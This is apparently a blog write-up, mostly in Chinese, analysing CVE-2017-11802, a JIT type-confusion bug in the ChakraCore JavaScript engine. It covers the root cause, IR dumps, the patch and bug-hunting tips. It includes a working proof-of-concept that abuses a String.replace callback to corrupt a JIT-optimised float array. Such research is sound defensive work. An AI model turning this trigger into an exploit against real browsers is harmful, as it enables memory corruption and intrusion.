Analysis of CVE-2017-11802

Analysis of CVE-2017-11802

Intro: Simple analysis of CVE-2017-11802

Reference

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function main() {
let arr = [1.1, 1.1, 1.1, 1.1, 1.1];
function opt(f) {
arr[0] = 1.1;
arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f));
arr[2] = 1.1;
arr[3] = 1.1;
}

let r0 = () => '0';
for (var i = 0; i < 0x1000; i++)
opt(r0);

opt(() => {
arr[0] = {};
return '0';
});

print(arr[1]);
}

main();

Root Cause

由于 String.prototype.replace 可以 inlineJIT 里,所以在该方法中,所有可能破坏 JIT 边界条件的 Call 都必须更新 ImplicitCallFlags。但是 RegexHelper::StringReplace 调用 replace 时并没有更新该 flag。也就是说未能正确识别 replace调用中的 callback,对于该 call 没有封装为 ExcuteimplitCall

Analysis

首先,RegexHelper::StringReplace 作为一个重载函数,接受两种类型的参数:

1
2
1:  Var RegexHelper::StringReplace(JavascriptString* match, JavascriptString* input, JavascriptString* replace)
2: Var RegexHelper::StringReplace(ScriptContext* scriptContext, JavascriptString* match, JavascriptString* input, JavascriptFunction* replacefn)

类型1中的参数分别为matchinput 以及一个字符串类型的 replace
类型2中的参数则为scmatchinputJavascriptFunction* 类型的 replacefn

根据 MDN

1
2
3
replace() 方法返回一个由替换值(replacement)替换一些或所有匹配的模式(pattern)后的
新字符串。模式可以是一个字符串或者一个正则表达式,替换值可以是一个字符串或者一个每次
匹配都要调用的回调函数。

不难猜到,当替换值为回调函数时,引擎会选择类型2对应的 builtin 函数处理,builtin 均在 Chakra.Runtime.Library 中.

Visual Studio 调试发现,进程循环在了

回到 Bytecode,观测 IR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Line   5: arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f));
Col 9: ^
StatementBoundary #1 #0014
ChkUndecl s12[NativeFloatArray_NoMissingValues].var #0020
CheckFixedFld s23(s1<s53>[Object]->parseInt)<1,m=,++,s53!,s54+,{parseInt(1)=}>.var! #0022 Bailout: #0022 (BailOutFailedFixedFieldTypeCheck)
s24.var = StartCall 2 (0x2).i32 #0028
CheckFixedFld s26(s6<s51>[String]->replace)<0,m~=,++,s51!,s52+,{replace(0)~=}>.var! #002e Bailout: #002e (BailOutFailedEquivalentFixedFieldTypeCheck)
s27.var = StartCall 3 (0x3).i32 #0032
arg1(s42)<0>.u64 = ArgOut_A_InlineSpecialized 0xXXXXXXXX (FunctionObject).var, arg3(s30)<16>.var! #0040
arg1(s28)<0>.var = ArgOut_A s6<s51>[String].var, s27.var! #0040
arg2(s29)<8>.var = ArgOut_A s6<s51>[String].var!, arg1(s28)<0>.var! #0040
arg3(s30)<16>.var = ArgOut_A s10[LikelyCanBeTaggedValue_Object].var!, arg2(s29)<8>.var! #0040
s31[String].var = CallDirect String_Replace.u64, arg1(s42)<0>.u64! #0040 Bailout: #004a (BailOutOnImplicitCalls)
arg1(s48)<0>.u64 = ArgOut_A_InlineSpecialized 0xXXXXXXXX (FunctionObject).var, arg2(s32)<8>.var! #004d
arg1(s25)<0>.var = ArgOut_A s7[Undefined].var, s24.var! #004d
arg2(s32)<8>.var = ArgOut_A s31[String].var!, arg1(s25)<0>.var! #004d
s33[CanBeTaggedValue_Int_Number].var = CallDirect GlobalObject_ParseInt.u64, arg1(s48)<0>.u64! #004d Bailout: #0057 (BailOutOnImplicitCalls)
s64(s5).f64 = LdC_F8_R8 2.30235E-320.f64 #0057
s65(s33).f64 = FromVar s33[CanBeTaggedValue_Int_Number].var! #0057
s66(s34).f64 = Add_A s65(s33).f64!, s64(s5).f64! #0057
[s12[NativeFloatArray_NoMissingValues][seg: s59][segLen: s60][><].var!+1].var = StElemI_A s66(s34).f64! #005b Bailout: #005b (BailOutConventionalNativeArrayAccessOnly | BailOutOnArrayAccessHelperCall)

注意:
这个部分是 JITRuntime 函数的调用,查看调用栈帧:

找到 EntryReplace:

不难发现这就是 JIT (外部代码)针对 Runtime 函数的调用入口点,那么整个函数调用流程就清晰了:在 Chakra 生成 jit 之后,jit 中包含了针对 String.Replace 的调用,该调用跳转到 Runtime 执行。但是问题是,执行过程中忽略了 ImplicitCall,也就是说:

在解释 Replace 的时候执行了用户函数 replacefn 。这是很危险的,因为未经 ExecuteImplicitCall 封装的用户 js 函数很可能会破坏 jit 的相关 assumption ,比如类型推断。

Patch

Patch 分析

  • 针对 RegexHelper::RegexEs5ReplaceImpl 函数以及 RegexHelper::StringReplace 函数封装了 ExecuteImplicitCall,两个函数均在 JavascriptString::DoStringReplace 中有调用:

    其中的 RegexReplace 函数最终会调用 RegexHelper::RegexEs5ReplaceImpl
  • 另一个 Patch 是在 JavascriptArray::ArraySpeciesCreate: 针对 JavascriptOperators::NewScObject 调用过程中可能触发的 Callback 进行了特别处理:

Patch 策略

  • 漏洞原因是在处理 DirectCall 的时候未注意其可能产生副作用。
  • 对应的补丁策略是什么呢?
    • RegexHelper::StringReplaceRegexHelper::RegexEs5ReplaceImpl 函数中分别 Patch ,然而两个函数均在 JavascriptString::DoStringReplace 被调用。
    • 处理 JavascriptOperators::NewScObject 则直接 PatchJavascriptArray::ArraySpeciesCreate
      • JavascriptString::DoStringReplace(该函数的控制流不止如下两个函数,可能会流向重载的没有副作用的 RegexHelper::StringReplace)
        • RegexHelper::StringReplace(ScriptContext* scriptContext, JavascriptString* match, JavascriptString* input, JavascriptFunction* replacefn)
        • RegexHelper::RegexEs5ReplaceImpl
        • RegexHelper::StringReplace(JavascriptString* match, JavascriptString* input, JavascriptString* replace)
      • JavascriptArray::ArraySpeciesCreate
  • 这样做的原因可能是,当上层函数无法确定接下来的调用是否会产生副作用的时候,则会在子函数进行 Patch,如果确定具有产生副作用的条件,则会在父函数 Patch

挖掘该类型的漏洞,需要留意什么

  • 针对一切用户自定义的函数的调用均需要留意,但是需要确定上层函数是否已经被封装了 ExcuteImplicitCall ,如果已经封装,那么整个分支均可以跳过。
  • 另外,针对封装了 ExcuteImplicitCall 的函数,留意其同级函数是否被封装,是否有副作用。

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×